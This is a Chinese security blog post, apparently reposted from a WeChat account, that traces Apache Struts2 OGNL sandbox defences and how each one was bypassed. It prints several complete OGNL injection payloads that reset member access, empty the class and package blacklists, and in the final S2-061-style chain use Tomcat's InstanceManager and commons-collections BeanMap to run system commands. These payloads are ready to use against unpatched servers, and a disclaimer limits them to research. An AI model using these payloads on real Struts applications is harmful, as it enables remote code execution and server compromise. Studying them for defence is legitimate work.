近日,针对 Struts2 攻防展开了一定的研究。在一系列链接跳转之后,翻阅到一篇由国外技术专家撰写的文章,它围绕 Struts2 的绕过技术展开,在复杂的沙箱环境下实现有效绕过。接下来,将为大家深入剖析其中的技术细节。
Apache Struts 2(通常简称为 Struts 2)是一个基于Java的开源Web应用框架,主要用于开发Java EE(企业级)应用程序。它通过基于模型-视图-控制器(MVC)设计模式提供了灵活的Web应用开发能力。
当然现在spring是更胜一筹了,它已经老了,新生代开始接替了,而且我不得不说,ognl表达式漏洞能被研究如此地步,前辈们功不可没。
在Struts 2框架中,OGNL (Object-Graph Navigation Language) 是一个非常重要的功能,它被广泛应用于表达式语言(EL)中,用于在Struts 2中访问和操作Java对象的属性。OGNL使得Struts 2可以非常灵活地动态处理数据,并且与模型-视图-控制器(MVC)模式紧密集成。
OGNL 表达式
支持对象方法调用,如objName.methodName();
支持类静态方法调用和值访问,表达式的格式为@[类全名(包括包路径)]@[方法名|值名],如@java.lang.String@format(‘fruit%s’,’frt’);
访问OGNL上下文(OGNL context)和ActionContext,可以直接new一个对象。
. 操作符:如上所示,可以调用对象的属性和方法
@ 操作符:用于调用静态对象、静态方法、静态变量
# 操作符:定义变量,用于调用非root对象。
eg:@java.lang.Runtime@getRuntime ().exec('calc')
其中的一些重要的内置对象:
attr:保存着上面三个作用域的所有属性,如果有重复的则以 request 域中的属性为基准。
VALUE_STACK:值栈,保存着valueStack对象,也就是说可以通过ActionContext访问到valueStack中的值。
下面的绕过会用到,因为绕过需要content对象,而这个对象可以从attr和VALUE_STACK中获取。
我们知道在OGNL中使用#符号可以访问各种全局对象,两个重要的角色,也一直是攻击和防御的核心。
第一个是 _memberAccess,它是一个 SecurityMemberAccess 对象,用于控制OGNL可以做什么,另一个是context,它允许访问更多对象,其中许多对象对漏洞利用构建很有用。
1.绕过
一开始ognl设置了一个属性,来禁用静态方法allowStaticMethodAccess,但是可以通过如下方法:
这个payload就可以执行了。
2.修复
在 2.3.14.1 及更高版本中,allowStaticMethodAccess变为final,无法再更改。
实例化对象调用方法
不可以调用静态方法后,但是还允许构造任意类并访问其公共方法,所以其实我们根本不需要调用静态方法就可以执行命令。
黑名单
在 2.3.20 中,引入了黑名单excludedClasses、excludedPackageNames和excludedPackageNamePatterns,而且禁用了构造函数的调用,不能使用静态方法。绕过点在于_memberAccess 仍然可以访问,而且DefaultMemberAccess对象任然允许静态方法和构造函数的调用。
所以我们替换_memberAccess来置空黑名单绕过。
(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('calc'))
实例化 OgnlUtil
之后把类ognl.MemberAccess和ognl.DefaultMemberAccess放在了我们的黑名单中。这里使用的是实例化OgnlUtil对象去置空黑名单。
我们的container中getInstance方法可以实例化OgnlUtil类。而_memberAccess 的初始化是createActionContext方法创建新的ActionContext,会调用 OgnlValueStack的setOgnlUtil方法,以使用OgnlUtil的全局实例初始化OgnlValueStack的securityMemberAccess,这样置空_memberAccess的黑名单。
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))
绕过clear
在之后的版本中,我们的黑名单不再可以使用clear置空,视乎黑名单不可以再被删除。但是我们可以调用对于的setter方法去设置一个空的黑名单。
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))
可惜从栈中得到的ognlUtil只是当前栈的。
_memberAccess是一个瞬态对象,它是在创建新的ActionContext期间当请求进入时创建的。每次通过createActionContext方法创建新的ActionContext时,都会调用setOgnlUtil方法,以使用全局ognlUtil中的excludedClasses、excludedPackageNames等黑名单创建_memberAccess。
因此,通过重新发送请求,新创建的 _memberAccess将清空其列入黑名单的类和包,从而允许我们执行任意代码。整理了有效载荷,我以这两个有效载荷结束。第一个选项清空excludedClasses和excludedPackageNames黑名单。
(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))
(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('calc'))
我们看看S0-61现在已经变成什么模样了呢?
无法new一个对象;无法调用黑名单类和包的方法、属性;无法使用反射;无法调用静态方法。
黑名单
简直寸步难行,总结下来我们可以做的有两件事。访问对象的属性,调用已经实例化好对象的一些方法。两个条件连起来,那我们必须找一个属性,而这个属性本身就是一个实例化对象,而且这个实例化对象中有可以恶意利用的方法。
这时候我们就需要利用ognl表达式中的一些对象了。
而#application中的org.apache.tomcat.InstanceManager,他的value值为org.apache.catalina.core.DefaultInstanceManager的实例化对象,该类为tomcat中的类。
其中传入的参数是我们可以控制的,这样我们就可以绕过不能实例化类的限制。黑名单中禁用了我们需要的类,如何置空黑名单是一个问题。
纵观前面置空的方法,从content、attr等等属性中获取的方法都已经被加入到了黑名单中。不过这里关键就在于有cc依赖,因为是可以通过getter、setter方法访问属性的。
关键类就是org.apache.commons.collections.BeanMap,它有一个setbean方法。
这里的逻辑就很明显了,获取类,然后再反射获取它的getter,setter方法。
可以跟进 getReadMethod
可以看到是获取getter 方法,那我们可不可以通过getter 方法获取到content,然后去置空我们的黑名单呢?
这是当然,com.opensymphony.xwork2.ognl.OgnlValueStack类中就有getContext方法可以返回OgnlContext。
有了OgnlContext我们就可以去一样的原理,获取com.opensymphony.xwork2.ognl.SecurityMemberAccess对象,然后调用setExcludedClasses,setExcludedPackageNames覆盖黑名单。
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
实例化对象的过程不说了,主要是bean.setBean( #stack ))后我们就可以通过ValueStack获取content,然后进一步从其中获取memberAccess对象,然后为了调用setter方法修改我们的黑名单,这里采用的是直接定义一个set,其中放置我们的setter方法,然后指定调用,置空了黑名单后,我们就可以调用危险的方法了,比如freemarker.template.utility.Execute的exec方法去执行命令。
参考文章
https://forum.butian.net/share/4037
原文始发于微信公众号(道格安全):ognl+cc 依赖绕过沙箱 | 47期
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
点赞
https://cn-sec.com/archives/3984182.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论